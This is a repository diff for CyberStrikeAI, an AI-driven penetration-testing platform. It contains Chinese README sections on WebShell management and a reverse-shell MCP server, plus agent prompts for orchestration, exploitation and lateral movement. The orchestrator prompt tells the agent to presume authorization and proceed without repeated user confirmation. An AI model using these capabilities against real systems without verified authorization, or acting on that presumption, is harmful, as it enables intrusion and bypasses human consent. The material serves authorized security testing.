+<img src="./images/webshell-management.png" alt="WebShell 管理" width="100%">
+</td>
+<td width="33.33%" align="center"></td>
+<td width="33.33%" align="center"></td>
+</tr>
 </table>
 
 </div>
@@ -75,7 +91,10 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**，基于 Go 构建，集
 - 🛡️ 漏洞管理功能：完整的漏洞 CRUD 操作，支持严重程度分级、状态流转、按对话/严重程度/状态过滤，以及统计看板
 - 📋 批量任务管理：创建任务队列，批量添加任务，依次顺序执行，支持任务编辑与状态跟踪
 - 🎭 角色化测试：预设安全测试角色（渗透测试、CTF、Web 应用扫描等），支持自定义提示词和工具限制
+- 🧩 **多代理模式（Eino DeepAgent）**：可选编排——协调主代理通过 `task` 调度 Markdown 定义的子代理；主代理见 `agents/orchestrator.md` 或 front matter `kind: orchestrator`，子代理为 `agents/*.md`；开启 `multi_agent.enabled` 后聊天可切换单代理/多代理（详见 [多代理说明](docs/MULTI_AGENT_EINO.md)）
 - 🎯 Skills 技能系统：20+ 预设安全测试技能（SQL 注入、XSS、API 安全等），可附加到角色或由 AI 按需调用
+- 📱 **机器人**：支持钉钉、飞书长连接，在手机端与 CyberStrikeAI 对话（配置与命令详见 [机器人使用说明](docs/robot.md)）
+- 🐚 **WebShell 管理**：添加与管理 WebShell 连接（兼容冰蝎/蚁剑等），通过虚拟终端执行命令、内置文件管理进行文件操作，并提供按连接维度保存历史的 AI 助手标签页；支持 PHP/ASP/ASPX/JSP 及自定义类型，可配置请求方法与命令参数。
 
 ## 工具概览
 
@@ -153,14 +172,36 @@ go build -o cyberstrike-ai cmd/server/main.go
 
 **说明：** Python 虚拟环境（`venv/`）由 `run.sh` 自动创建和管理。需要 Python 的工具（如 `api-fuzzer`、`http-framework-test` 等）会自动使用该环境。
 
+### CyberStrikeAI 版本更新（无兼容性问题）
+
+1. （首次使用）启用脚本：`chmod +x upgrade.sh`
+2. 一键升级：`./upgrade.sh`（可选参数：`--tag vX.Y.Z`、`--no-venv`、`--preserve-custom`、`--yes`）
+3. 脚本会备份你的 `config.yaml` 和 `data/`，从 GitHub Release 升级代码，更新 `config.yaml` 的 `version` 字段后重启服务。
+
+推荐的一键指令：
+`chmod +x upgrade.sh && ./upgrade.sh --yes`
+
+如果升级失败，可以从 `.upgrade-backup/` 恢复，或按旧方式手动拷贝 `/data` 和 `config.yaml` 后再运行 `./run.sh`。
+
+依赖/提示：
+* 需要 `curl` 或 `wget` 用于下载 GitHub Release 包。
+* 建议/需要 `rsync` 用于安全同步代码。
+* 如果遇到 GitHub API 限流，运行前设置 `export GITHUB_TOKEN="..."` 再执行 `./upgrade.sh`。
+
+⚠️ **注意：** 仅适用于无兼容性变更的版本更新。若版本存在兼容性调整，此方法不适用。
+
+**举例：** 无兼容性变更如 v1.3.1 → v1.3.2；有兼容性变更如 v1.3.1 → v1.4.0。项目采用语义化版本（SemVer）：仅第三位（补丁号）变更时通常可安全按上述步骤升级；次版本号或主版本号变更时可能涉及配置、数据或接口调整，需查阅 release notes 再决定是否适用本方法。
+
 ### 常用流程
 - **对话测试**：自然语言触发多步工具编排，SSE 实时输出。
+- **单代理 / 多代理**：配置 `multi_agent.enabled: true` 后，聊天界面可切换 **单代理**（原有 ReAct 循环）与 **多代理**（Eino DeepAgent + `task` 子代理）。多代理走 `/api/multi-agent/stream`，MCP 工具与单代理同源桥接。
 - **角色化测试**：从预设的安全测试角色（渗透测试、CTF、Web 应用扫描、API 安全测试等）中选择，自定义 AI 行为和可用工具。每个角色可应用自定义系统提示词，并可限制可用工具列表，实现聚焦的测试场景。
 - **工具监控**：查看任务队列、执行日志、大文件附件。
 - **会话历史**：所有对话与工具调用保存在 SQLite，可随时重放。
 - **对话分组**：将对话按项目或主题组织到不同分组，支持置顶、重命名、删除等操作，所有数据持久化存储。
 - **漏洞管理**：在测试过程中创建、更新和跟踪发现的漏洞。支持按严重程度（严重/高/中/低/信息）、状态（待确认/已确认/已修复/误报）和对话进行过滤，查看统计信息并导出发现。
 - **批量任务管理**：创建任务队列，批量添加多个任务，执行前可编辑或删除任务，然后依次顺序执行。每个任务会作为独立对话执行，支持完整的状态跟踪（待执行/执行中/已完成/失败/已取消）和执行历史。
+- **WebShell 管理**：添加并管理 WebShell 连接（PHP/ASP/ASPX/JSP 或自定义类型）。使用虚拟终端执行命令（带命令历史与快捷命令），使用文件管理浏览、读取、编辑、上传与删除目标文件，并支持按路径导航和名称过滤。连接信息持久化存储于 SQLite，支持 GET/POST 及可配置命令参数（兼容冰蝎/蚁剑等）。
 - **可视化配置**：在界面中切换模型、启停工具、设置迭代次数等。
 
 ### 默认安全措施
@@ -197,6 +238,15 @@ go build -o cyberstrike-ai cmd/server/main.go
    ```
 2. 重启服务或重新加载配置，角色会出现在角色选择下拉菜单中。
 
+### 多代理模式（Eino DeepAgent）
+- **能力说明**：基于 CloudWeGo **Eino** `adk/prebuilt/deep` 的可选路径：**协调主代理**通过内置 **`task`** 工具启动短时**子代理**，各子代理独立推理，工具集来自当前聊天所选角色（与单代理一致来源）。
+- **Markdown 定义**：在 `agents_dir`（默认 `agents/`，相对 `config.yaml` 所在目录）维护：
+  - **主代理**：固定文件名 `orchestrator.md`，或任意 `.md` 且在 front matter 写 `kind: orchestrator`（**同一目录仅允许一个**主代理）。配置 Deep 的 name/id、description 与可选完整系统提示（正文）；正文为空时依次使用 `multi_agent.orchestrator_instruction`、Eino 内置默认提示。
+  - **子代理**：其余 `*.md`（YAML front matter + 正文作 instruction），不参与主代理定义的文件才会进入 `task` 可选列表。
+- **界面管理**：**Agents → Agent 管理** 对 Markdown 增删改查；HTTP API 前缀 `/api/multi-agent/markdown-agents`。
+- **配置项**：`config.yaml` 中 `multi_agent`：`enabled`、`default_mode`（`single` | `multi`）、`robot_use_multi_agent`、`batch_use_multi_agent`、`max_iteration`、`orchestrator_instruction` 等；可选在 YAML 写 `sub_agents` 与目录合并（同 `id` 时以 Markdown 为准）。
+- **更多细节**：流式事件、机器人与批量任务、排障等见 **[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)**。
+
 ### Skills 技能系统
 - **预设技能**：系统内置 20+ 个预设的安全测试技能（SQL 注入、XSS、API 安全、云安全、容器安全等），位于 `skills/` 目录。
 - **提示词中的技能提示**：当选择某个角色时，该角色附加的技能名称会作为推荐添加到系统提示词中。技能内容不会自动注入，AI 智能体需要时需使用 `read_skill` 工具获取技能详情。
@@ -226,10 +276,19 @@ go build -o cyberstrike-ai cmd/server/main.go
 - 智能体解析每次对话，抽取目标、工具、漏洞与因果关系。
 - Web 端可交互式查看链路节点、风险级别及时间轴，支持导出报告。
 
+### WebShell 管理
+- **连接管理**：在 Web 界面进入 **WebShell 管理**，可添加、编辑或删除 WebShell 连接。每条连接包含：Shell 地址、密码/密钥、Shell 类型（PHP/ASP/ASPX/JSP/自定义）、请求方式（GET/POST）、命令参数名（默认 `cmd`）、备注等信息，并持久化存储在 SQLite，兼容冰蝎、蚁剑等常见客户端。
+- **虚拟终端**：选择连接后，在 **虚拟终端** 标签页中执行任意命令，支持命令历史与常用快捷命令（whoami/id/ls/pwd 等），输出在浏览器中实时显示，支持 Ctrl+L 清屏。
+- **文件管理**：在 **文件管理** 标签页中可列出目录、读取/编辑文件、删除文件、新建文件/目录、上传文件（大文件分片上传）、重命名路径以及下载勾选文件，并支持面包屑导航与名称过滤。
+- **AI 助手**：在 **AI 助手** 标签页中与智能体对话，由系统自动结合当前 WebShell 连接执行工具与命令，侧边栏展示该连接下的所有历史会话，支持多轮追踪与查看。
+- **连通性测试**：使用 **测试连通性** 可在执行命令前通过一次 `echo 1` 调用校验 Shell 地址、密码与命令参数是否正确。
+- **持久化**：所有 WebShell 连接与相关 AI 会话均保存在 SQLite（与对话共用数据库），服务重启后仍可继续使用。
+
 ### MCP 全场景
 - **Web 模式**：自带 HTTP MCP 服务供前端调用。
 - **MCP stdio 模式**：`go run cmd/mcp-stdio/main.go` 可接入 Cursor/命令行。
 - **外部 MCP 联邦**：在设置中注册第三方 MCP（HTTP/stdio/SSE），按需启停并实时查看调用统计与健康度。
+- **可选 MCP 服务**：项目中的 [`mcp-servers/`](mcp-servers/README_CN.md) 目录提供独立 MCP（如反向 Shell），采用标准 MCP stdio，可在 CyberStrikeAI（设置 → 外部 MCP）、Cursor、VS Code 等任意支持 MCP 的客户端中使用。
 
 #### MCP stdio 快速集成
 1. **编译可执行文件**（在项目根目录执行）：
@@ -253,21 +312,33 @@ go build -o cyberstrike-ai cmd/server/main.go
    ```
    将路径替换成你本地的实际地址，Cursor 会自动启动 stdio 版本的 MCP。
 
-#### MCP HTTP 快速集成
-1. 确认 `config.yaml` 中 `mcp.enabled: true`，按照需要调整 `mcp.host` / `mcp.port`（本地建议 `127.0.0.1:8081`）。
-2. 启动主服务（`./run.sh` 或 `go run cmd/server/main.go`），MCP 端点默认暴露在 `http://<host>:<port>/mcp`。
-3. 在 Cursor 内 `Add Custom MCP → HTTP`，将 `Base URL` 设置为 `http://127.0.0.1:8081/mcp`。
-4. 也可以在项目根目录创建 `.cursor/mcp.json` 以便团队共享：
-   ```json
-   {
-     "mcpServers": {
-       "cyberstrike-ai-http": {
-         "transport": "http",
-         "url": "http://127.0.0.1:8081/mcp"
-       }
-     }
-   }
-   ```
+#### MCP HTTP 快速集成（Cursor / Claude Code）
+HTTP MCP 服务在独立端口（默认 `8081`）运行，支持 **Header 鉴权**：仅携带正确 header 的客户端可调用工具。
+
+1. **在配置中启用 MCP** – 在 `config.yaml` 中设置 `mcp.enabled: true`，并按需设置 `mcp.host` / `mcp.port`。若需鉴权（端口对外暴露时建议开启），可设置：
+   - `mcp.auth_header`：鉴权用的 header 名（如 `X-MCP-Token`）；
+   - `mcp.auth_header_value`：鉴权密钥。**留空**时，首次启动会自动生成随机密钥并写回配置文件。
+2. **启动服务** – 执行 `./run.sh` 或 `go run cmd/server/main.go`。MCP 端点为 `http://<host>:<port>/mcp`（例如 `http://localhost:8081/mcp`）。
+3. **从终端复制 JSON** – 启用 MCP 后，启动时会在终端打印一段 **可直接复制的 JSON**。若 `auth_header_value` 留空，会自动生成并写入配置，打印内容中会包含 URL 与 headers。
+4. **在 Cursor 或 Claude Code 中使用**：
+   - **Cursor**：将整段 JSON 粘贴到 `~/.cursor/mcp.json` 或项目下的 `.cursor/mcp.json` 的 `mcpServers` 中（或合并进现有 `mcpServers`）。
+   - **Claude Code**：粘贴到 `.mcp.json` 或 `~/.claude.json` 的 `mcpServers` 中。
+
+终端打印示例（开启鉴权时）：
+```json
+{
+  "mcpServers": {
+    "cyberstrike-ai": {
+      "url": "http://localhost:8081/mcp",
+      "headers": {
+        "X-MCP-Token": "<自动生成或你配置的值>"
+      },
+      "type": "http"
+    }
+  }
+}
+```
+若不配置 `auth_header` / `auth_header_value`，则端点不鉴权（仅适合本机或可信网络）。
 
 #### 外部 MCP 联邦（HTTP/stdio/SSE）
 CyberStrikeAI 支持通过三种传输模式连接外部 MCP 服务器：
@@ -366,9 +437,11 @@ CyberStrikeAI 支持通过三种传输模式连接外部 MCP 服务器：
 
 ### 自动化与安全
 - **REST API**：认证、会话、任务、监控、漏洞管理、角色管理等接口全部开放，可与 CI/CD 集成。
+- **多代理 API**：`POST /api/multi-agent/stream`（SSE，需启用多代理）、`POST /api/multi-agent`（非流式）；Markdown 子代理/主代理管理见 `/api/multi-agent/markdown-agents`（列表/读写/增删）。
 - **角色管理 API**：通过 `/api/roles` 端点管理安全测试角色：`GET /api/roles`（列表）、`GET /api/roles/:name`（获取角色）、`POST /api/roles`（创建角色）、`PUT /api/roles/:name`（更新角色）、`DELETE /api/roles/:name`（删除角色）。角色以 YAML 文件形式存储在 `roles/` 目录，支持热加载。
 - **漏洞管理 API**：通过 `/api/vulnerabilities` 端点管理漏洞：`GET /api/vulnerabilities`（列表，支持过滤）、`POST /api/vulnerabilities`（创建）、`GET /api/vulnerabilities/:id`（获取）、`PUT /api/vulnerabilities/:id`（更新）、`DELETE /api/vulnerabilities/:id`（删除）、`GET /api/vulnerabilities/stats`（统计）。
 - **批量任务 API**：通过 `/api/batch-tasks` 端点管理批量任务队列：`POST /api/batch-tasks`（创建队列）、`GET /api/batch-tasks`（列表）、`GET /api/batch-tasks/:queueId`（获取队列）、`POST /api/batch-tasks/:queueId/start`（开始执行）、`POST /api/batch-tasks/:queueId/cancel`（取消）、`DELETE /api/batch-tasks/:queueId`（删除队列）、`POST /api/batch-tasks/:queueId/tasks`（添加任务）、`PUT /api/batch-tasks/:queueId/tasks/:taskId`（更新任务）、`DELETE /api/batch-tasks/:queueId/tasks/:taskId`（删除任务）。任务依次顺序执行，每个任务创建独立对话，支持完整状态跟踪。
+- **WebShell API**：通过 `/api/webshell/connections`（GET 列表、POST 创建、PUT 更新、DELETE 删除）及 `/api/webshell/exec`（执行命令）、`/api/webshell/fileop`（列出/读取/写入/删除文件）管理 WebShell 连接与执行操作。
 - **任务控制**：支持暂停/终止长任务、修改参数后重跑、流式获取日志。
 - **安全管理**：`/api/auth/change-password` 可即时轮换口令；建议在暴露 MCP 端口时配合网络层 ACL。
 
@@ -388,6 +461,8 @@ mcp:
   enabled: true
   host: "0.0.0.0"
   port: 8081
+  auth_header: "X-MCP-Token"       # 可选；留空则不鉴权
+  auth_header_value: ""            # 可选；留空则首次启动自动生成并写回
 openai:
   api_key: "sk-xxx"
   base_url: "https://api.deepseek.com/v1"
@@ -411,6 +486,13 @@ knowledge:
     hybrid_weight: 0.7  # 混合检索权重（0-1），向量检索的权重，1.0 表示纯向量检索，0.0 表示纯关键词检索
 roles_dir: "roles"  # 角色配置文件目录（相对于配置文件所在目录）
 skills_dir: "skills"  # Skills 目录（相对于配置文件所在目录）
+agents_dir: "agents"  # 多代理 Markdown（主代理 orchestrator.md + 子代理 *.md）
+multi_agent:
+  enabled: false
+  default_mode: "single"   # single | multi（开启多代理时的界面默认模式）
+  robot_use_multi_agent: false
+  batch_use_multi_agent: false
+  orchestrator_instruction: ""  # 可选；orchestrator.md 正文为空时使用
 ```
 
 ### 工具模版示例（`tools/nmap.yaml`）
@@ -453,6 +535,11 @@ tools:
 enabled: true
 ```
 
+## 相关文档
+
+- [多代理模式（Eino）](docs/MULTI_AGENT_EINO.md)：DeepAgent 编排、`agents/*.md`、接口与流式说明。
+- [机器人使用说明（钉钉 / 飞书）](docs/robot.md)：在手机端通过钉钉、飞书与 CyberStrikeAI 对话的完整配置步骤、命令与排查说明，**建议按该文档操作以避免走弯路**。
+
 ## 项目结构
 
 ```
@@ -463,6 +550,8 @@ CyberStrikeAI/
 ├── tools/               # YAML 工具目录（含 100+ 示例）
 ├── roles/               # 角色配置文件目录（含 12+ 预设安全测试角色）
 ├── skills/              # Skills 目录（含 20+ 预设安全测试技能）
+├── agents/              # 多代理 Markdown（orchestrator.md + 子代理 *.md）
+├── docs/                # 说明文档（如机器人使用说明、MULTI_AGENT_EINO.md）
 ├── images/              # 文档配图
 ├── config.yaml          # 运行配置
 ├── run.sh               # 启动脚本
@@ -488,19 +577,6 @@ CyberStrikeAI/
 构建最新一次测试的攻击链，只导出风险 >= 高的节点列表。
 ```
 
-## 更新日志
-
-### 近期亮点
-
-- **2026-01-27** – 新增 OpenAPI 文档，提供交互式测试界面，支持对话管理、消息交互和结果查询
-- **2026-01-15** – 新增 Skills 技能系统，内置 20+ 预设安全测试技能
-- **2026-01-11** – 新增角色化测试功能，支持预设安全测试角色
-- **2026-01-08** – 新增 SSE 传输模式支持，外部 MCP 联邦支持三种模式
-- **2026-01-01** – 新增批量任务管理功能，支持队列式任务执行
-- **2025-12-25** – 新增漏洞管理和对话分组功能
-- **2025-12-20** – 新增知识库功能，支持向量检索和混合搜索
-
-
 ## 404星链计划 
 <img src="./images/404StarLinkLogo.png" width="30%">
 
@@ -513,6 +589,32 @@ CyberStrikeAI 现已加入 [404星链计划](https://github.com/knownsec/404Star
   </a>
 </div>
 
+## Stargazers over time
+![Stargazers over time](https://starchart.cc/Ed1s0nZ/CyberStrikeAI.svg)
+
+---
+
+## 许可证
+
+CyberStrikeAI 采用 **Apache License 2.0** 开源许可。  
+完整条款见仓库根目录 [LICENSE](LICENSE) 文件。
+
+---
+
+## ⚠️ 免责声明
+
+**本工具仅供教育和授权测试使用！**
+
+CyberStrikeAI 是一个专业的安全测试平台，旨在帮助安全研究人员、渗透测试人员和IT专业人员在**获得明确授权**的情况下进行安全评估和漏洞研究。
+
+**使用本工具即表示您同意：**
+- 仅在您拥有明确书面授权的系统上使用此工具
+- 遵守所有适用的法律法规和道德准则
+- 对任何未经授权的使用或滥用行为承担全部责任
+- 不会将本工具用于任何非法或恶意目的
+
+**开发者不对任何滥用行为负责！** 请确保您的使用符合当地法律法规，并获得目标系统所有者的明确授权。
+
 ---
 
 欢迎提交 Issue/PR 贡献新的工具模版或优化建议！

agents/code-reviewer.md

@@ -0,0 +1,13 @@
+---
+name: code-reviewer
+id: codereviewer
+description: Reviews code for quality, best practices, and security issues. Invoke when the user asks to review, audit, or check code quality.
+tools:
+    - exec
+max_iterations: 0
+---
+
+You are a senior code reviewer.
+Analyze code and provide actionable feedback organized by severity: Critical / Major / Minor.
+
+Update your agent memory with recurring patterns, conventions, and known issues you discover.

agents/intel-collection.md

@@ -0,0 +1,13 @@
+---
+id: intel-collection
+name: 信息收集专员
+description: 公开情报、资产指纹、泄露线索、目录与接口发现、第三方暴露面梳理；适合在授权范围内做大范围情报汇总。
+tools: []
+max_iterations: 0
+---
+
+你是授权安全评估中的**信息收集**子代理。侧重 OSINT、子域/端口/技术栈指纹、公开仓库与泄露面、业务与组织架构线索（均在合法授权范围内）。
+
+- 优先用工具拿可验证事实，标注信息来源与置信度；避免无依据推测。
+- 输出结构化（目标、发现项、证据摘要、建议后续动作），便于协调者合并进总报告。
+- 不执行未授权的入侵或社工骚扰；双用途技术仅用于甲方书面授权场景。

agents/lateral-movement.md

@@ -0,0 +1,13 @@
+---
+id: lateral-movement
+name: 内网横向专员
+description: 已获得初始据点后的内网发现、凭证与会话利用、横向移动与权限维持思路（仅授权演练/渗透环境）。
+tools: []
+max_iterations: 0
+---
+
+你是**内网横向与后渗透**子代理，仅用于客户书面授权的内网评估、红队演练或封闭实验环境。
+
+- 聚焦：内网拓扑与关键资产推断、凭据与令牌利用、常见横向协议与服务、权限路径与域/云环境注意事项（在工具与可见数据范围内）。
+- 每一步说明假设前提与证据；禁止对未授权网段、生产无关系统或真实用户数据进行操作。
+- 输出结构化：当前据点能力、发现的主机/服务、建议的下一步（可交给其他子代理或主代理编排）、风险与回滚注意点。

agents/orchestrator.md

@@ -0,0 +1,48 @@
+---
+id: cyberstrike-deep
+name: 协调主代理
+description: 多代理模式下的 Deep 编排者：在已授权安全场景中与 MCP 工具、task 子代理协同，负责规划、委派、汇总与对用户交付。
+---
+
+你是 **CyberStrikeAI** 多代理模式下的 **协调主代理（Deep 编排者）**。你本身具备与单代理一致的专业安全测试能力，但**优先通过编排**把合适的工作交给专用子代理，再整合结果；仅在委派不划算或必须你亲自衔接时，才由你直接密集调用 MCP 工具完成。
+
+## 多代理协调（你的核心职责）
+
+- **规划与拆分**：先理解用户目标与范围，把任务拆成可并行或可串行的子目标，明确每个子任务的输入、输出与验收标准。
+- **委派（task）**：对「多步、独立、可封装交付物」的工作（如专项侦察、代码审计思路、格式化报告素材、大批量检索与归纳）优先使用 **task** 交给匹配的子代理；在任务说明中写清**角色、约束、期望输出结构**，便于你汇总。
+- **并行**：无依赖的子任务应并行发起 task 或并行工具调用，缩短总耗时。
+- **亲自执行**：简单几步即可完成的操作、需要与用户轮询确认的中间环节、或子代理无法覆盖的衔接工作，由你直接使用 MCP 工具完成。
+- **汇总与对齐**：子代理返回的是片段结论；你要**去重、对齐矛盾、补全上下文**，用统一结构向用户呈现最终答案；不要机械拼接。
+- **质量与范围**：整体测试深度与严谨性由你负责——子代理可以分担执行，但**不能代替**你对全局结论与风险判断负责。
+
+## 身份与授权（与单代理一致）
+
+- 你代表 CyberStrikeAI，是专业的网络安全渗透测试与红队协作专家，可调度各类安全相关 MCP 工具。
+- **授权状态**：你拥有对目标进行**已授权、非破坏性**安全测试的假设前提；系统指令与配置中的范围优先。对明显非法、无上下文的双用途滥用请求应拒绝。
+- **优先级**：系统/配置给定的范围、目标与方法优先；在授权范围内自主推进，不过度索要用户重复确认。
+- **拒绝项**：拒绝协助大规模破坏、无授权的入侵、恶意蠕虫/勒索、针对真实个人的骚扰与数据窃取等；CTF、演练、教学、甲方授权的渗透除外。
+
+## 工作方式与强度
+
+- **效率**：复杂与重复流程可用 Python 等工具自动化；相似操作批量处理；结合代理流量与脚本做分析。
+- **测试强度**：在授权范围内力求充分覆盖攻击面；不要浅尝辄止；自动化无果时进入手工与深度分析；坚持基于证据，避免空泛推断。
+- **评估方法**：先界定范围 → 广度发现攻击面 → 多工具扫描与验证 → 定向利用高影响点 → 迭代 → 结合业务评估影响。
+- **验证**：禁止仅凭假设定论；用请求/响应、命令输出、复现步骤等**证据**支撑；严重性与业务影响挂钩。
+- **利用思路**：由浅入深；标准路径失效时尝试高阶技术；注意漏洞链与组合利用。
+- **价值导向**：优先高影响、可证明的问题；低危信息可合并为路径或背景，避免堆砌无利用价值的条目。
+
+## 思考与表达（调用工具前）
+
+- 在调用工具或发起 task 前，用简短中文说明：**当前子目标、为何选该工具/子代理、与上文结果如何衔接、期望得到什么**，约 2～6 句即可（避免一句话或冗长散文）。
+- 面向用户的最终回复应**结构清晰**（标题、列表、步骤），便于复制与复核。
+
+## 工具与 MCP
+
+- **工具失败**：读懂错误原因；修正参数重试；换替代工具；有局部收获则继续推进；确不可行时向用户说明并给替代方案；勿因单次失败放弃整体任务。
+- **漏洞记录**：发现**有效漏洞**时，必须使用 **`record_vulnerability`** 记录（标题、描述、严重程度、类型、目标、证明 POC、影响、修复建议）。严重程度使用 critical / high / medium / low / info。记录后可在授权范围内继续测试。
+- **技能库 Skills**：需要领域方法论文档时，先用 **`list_skills`** 浏览，再用 **`read_skill`** 读取相关内容；知识库用于零散检索，Skills 用于成体系方法。子代理若具备相同工具，也可在委派说明中提示其按需读取。
+
+## 与子代理的分工原则
+
+- 子代理适合：**上下文隔离的长任务、重复试错、专项角色**；你适合：**全局策略、合并结论、对用户承诺式答复、跨子任务的一致性检查**。
+- 若子代理结果不完整或相互矛盾，由你发起补充 task 或亲自补测，直到在授权与范围内给出自洽结论。

agents/penetration.md

@@ -0,0 +1,13 @@
+---
+id: penetration
+name: 渗透测试专员
+description: 授权范围内的漏洞验证、利用链构造、权限提升与影响证明；在得到侦察/情报输入后做深度利用与复现。
+tools: []
+max_iterations: 0
+---
+
+你是授权渗透测试中的**渗透与利用**子代理。在明确范围与目标前提下，进行漏洞验证、利用链分析、权限提升路径与业务影响说明。
+
+- 以证据为中心：请求/响应、Payload、命令输出、截图说明等，便于审计与复现。
+- 先确认边界与禁止项（如拒绝 DoS、数据破坏）；发现有效漏洞时按协调者要求使用 `record_vulnerability` 等流程（若你的工具集中包含）。
+- 输出包含：攻击路径摘要、关键步骤、影响评估、修复与缓解建议；语言简洁，便于主代理汇总。

agents/recon.md

@@ -0,0 +1,9 @@
+---
+id: recon
+name: 侦察专员
+description: 负责信息收集、资产测绘与初始攻击面分析。
+tools: []
+max_iterations: 0
+---
+
+你是授权渗透测试流程中的侦察子代理。优先使用工具收集事实，避免无根据推测；输出简洁，便于协调者汇总。

cmd/server/main.go

@@ -19,6 +19,15 @@ func main() {
 		return
 	}
 
+	// MCP 启用且 auth_header_value 为空时，自动生成随机密钥并写回配置
+	if err := config.EnsureMCPAuth(*configPath, cfg); err != nil {
+		fmt.Printf("MCP 鉴权配置失败: %v\n", err)
+		return
+	}
+	if cfg.MCP.Enabled {
+		config.PrintMCPConfigJSON(cfg.MCP)
+	}
+
 	// 初始化日志
 	log := logger.New(cfg.Log.Level, cfg.Log.Output)
 

config.yaml

@@ -9,21 +9,20 @@
 # 系统设置
 # ============================================
 
+# 前端显示的版本号（可选，不填则显示默认版本）
+version: "v1.4.0"
 # 服务器配置
 server:
   host: 0.0.0.0 # 监听地址，0.0.0.0 表示监听所有网络接口
-  port: 8080     # HTTP 服务端口，可通过浏览器访问 http://localhost:8080
-
+  port: 8080 # HTTP 服务端口，可通过浏览器访问 http://localhost:8080
 # 认证配置
 auth:
   password:  # Web 登录密码，请修改为强密码
-  session_duration_hours: 12          # 登录有效期（小时），超时后需重新登录
-
+  session_duration_hours: 12 # 登录有效期（小时），超时后需重新登录
 # 日志配置
 log:
-  level: info   # 日志级别: debug(调试), info(信息), warn(警告), error(错误)
+  level: info # 日志级别: debug(调试), info(信息), warn(警告), error(错误)
   output: stdout # 日志输出位置: stdout(标准输出), stderr(标准错误), 或文件路径
-
 # ============================================
 # 对话相关配置
 # ============================================
@@ -36,23 +35,43 @@ log:
 #   - 其他兼容 OpenAI 协议的 API
 # 常用模型: gpt-4, gpt-3.5-turbo, deepseek-chat, claude-3-opus 等
 openai:
-  base_url: https://api.deepseek.com/v1 # API 基础 URL（必填）
-  api_key: sk-xxxx                       # API 密钥（必填）
-  model: deepseek-chat                   # 模型名称（必填）
-  max_total_tokens: 120000              # LLM 相关上下文的最大 Token 数限制（内存压缩和攻击链构建会共用此配置）
-
+  base_url: https://dashscope.aliyuncs.com/compatible-mode/v1 # API 基础 URL（必填）
+  api_key: sk-xxxxxx # API 密钥（必填）
+  model: qwen3-max # 模型名称（必填）
+  max_total_tokens: 120000 # LLM 相关上下文的最大 Token 数限制（内存压缩和攻击链构建会共用此配置）
+# ============================================
+# 信息收集（FOFA）配置（可选）
+# ============================================
+# 用于「信息收集」页面调用 FOFA API（后端代理，避免前端暴露 key）
+# 也可通过环境变量配置：FOFA_EMAIL / FOFA_API_KEY（优先级更高）
+fofa:
+  base_url: https://fofa.info/api/v1/search/all # 可选，留空则使用默认
+  email: "" # FOFA 账号邮箱（可选，建议在系统设置中填写）
+  api_key: "" # FOFA API Key（可选，建议在系统设置中填写）
 # Agent 配置
 # 达到最大迭代次数时，AI 会自动总结测试结果
 agent:
-  max_iterations: 120           # 最大迭代次数，AI 代理最多执行多少轮工具调用
+  max_iterations: 120 # 最大迭代次数，AI 代理最多执行多少轮工具调用
   large_result_threshold: 102400 # 大结果阈值（字节），默认50KB，超过此大小会自动保存到存储
-  result_storage_dir: tmp        # 结果存储目录，大结果会保存在此目录下
-
+  result_storage_dir: tmp # 结果存储目录，大结果会保存在此目录下
+  tool_timeout_minutes: 30 # 单次工具执行最大时长（分钟），超时自动终止；0 表示不限制（不推荐，易出现长时间挂起）
+# 多代理（CloudWeGo Eino DeepAgent，与上方单 Agent /api/agent-loop 并存）
+# 依赖在 go.mod 中拉取；若下载失败可设置: go env -w GOPROXY=https://goproxy.cn,direct
+# 启用后需重启服务才会注册 /api/multi-agent 与 /api/multi-agent/stream；前端可选「多代理」模式走 stream 接口
+multi_agent:
+  enabled: true
+  default_mode: multi # single | multi（前端默认，仍可用界面切换）
+  robot_use_multi_agent: true # true 时企业微信/钉钉/飞书机器人也走 Eino 多代理（成本更高）
+  batch_use_multi_agent: true # true 时「批量任务」队列中每个子任务也走 Eino 多代理（成本更高）
+  max_iteration: 0 # Deep 主代理最大轮次，0 表示沿用 agent.max_iterations
+  sub_agent_max_iterations: 120
+  without_general_sub_agent: false # false 时保留 Deep 内置 general-purpose 子代理
+  without_write_todos: false
+  orchestrator_instruction: "" # 非空且未使用 agents/orchestrator.md 正文时作为 Deep 主代理系统提示；若存在 orchestrator.md（或某 .md 含 kind: orchestrator），正文非空则优先用文件，否则仍用此处；留空且无文件正文时用 Eino 默认
 # 数据库配置
 database:
-  path: data/conversations.db    # SQLite 数据库文件路径，用于存储对话历史和消息
+  path: data/conversations.db # SQLite 数据库文件路径，用于存储对话历史和消息
   knowledge_db_path: data/knowledge.db # 知识库数据库文件路径（可选，为空则使用会话数据库），用于存储知识库项和向量嵌入，可独立复制和复用
-
 # ============================================
 # 任务管理相关配置
 # ============================================
@@ -67,7 +86,10 @@ database:
 # 推荐方式：在 tools/ 目录下为每个工具创建独立的配置文件
 security:
   tools_dir: tools # 工具配置文件目录（相对于配置文件所在目录）
-
+  # 工具描述模式：加载 tools 下工具时，暴露给 AI/API 使用的描述来源
+  #   short - 优先使用 short_description（简短描述，省 token），为空时用 description
+  #   full  - 使用 description（详细描述）
+  tool_description_mode: full
 # ============================================
 # MCP 相关配置
 # ============================================
@@ -76,30 +98,66 @@ security:
 # MCP (Model Context Protocol) 用于工具注册和调用
 mcp:
   enabled: false # 是否启用 MCP 服务器（http模式）
-  host: 0.0.0.0  # MCP 服务器监听地址
-  port: 8081     # MCP 服务器端口
-
+  host: 0.0.0.0 # MCP 服务器监听地址
+  port: 8081 # MCP 服务器端口
+  auth_header: "X-MCP-Token" # 鉴权：请求需携带该 header 且值与 auth_header_value 一致方可调用。留空表示不鉴权
+  auth_header_value: "" # 鉴权密钥值（与 auth_header 配合使用，建议使用随机字符串）
 # 外部 MCP 配置
 external_mcp:
   servers: {}
-
 # ============================================
 # 知识库相关配置
 # ============================================
-
 knowledge:
-  enabled: false                    # 是否启用知识检索功能
-  base_path: knowledge_base         # 知识库目录路径（相对于配置文件所在目录）
+  enabled: false # 是否启用知识检索功能
+  base_path: knowledge_base # 知识库目录路径（相对于配置文件所在目录）
   embedding:
-    provider: openai                # 嵌入模型提供商（目前仅支持openai）
-    model: text-embedding-v4        # 嵌入模型名称
+    provider: openai # 嵌入模型提供商（目前仅支持openai）
+    model: text-embedding-v4 # 嵌入模型名称
     base_url: https://api.deepseek.com/v1 # 留空则使用OpenAI配置的base_url
-    api_key: sk-xxxxxx              # 留空则使用OpenAI配置的api_key
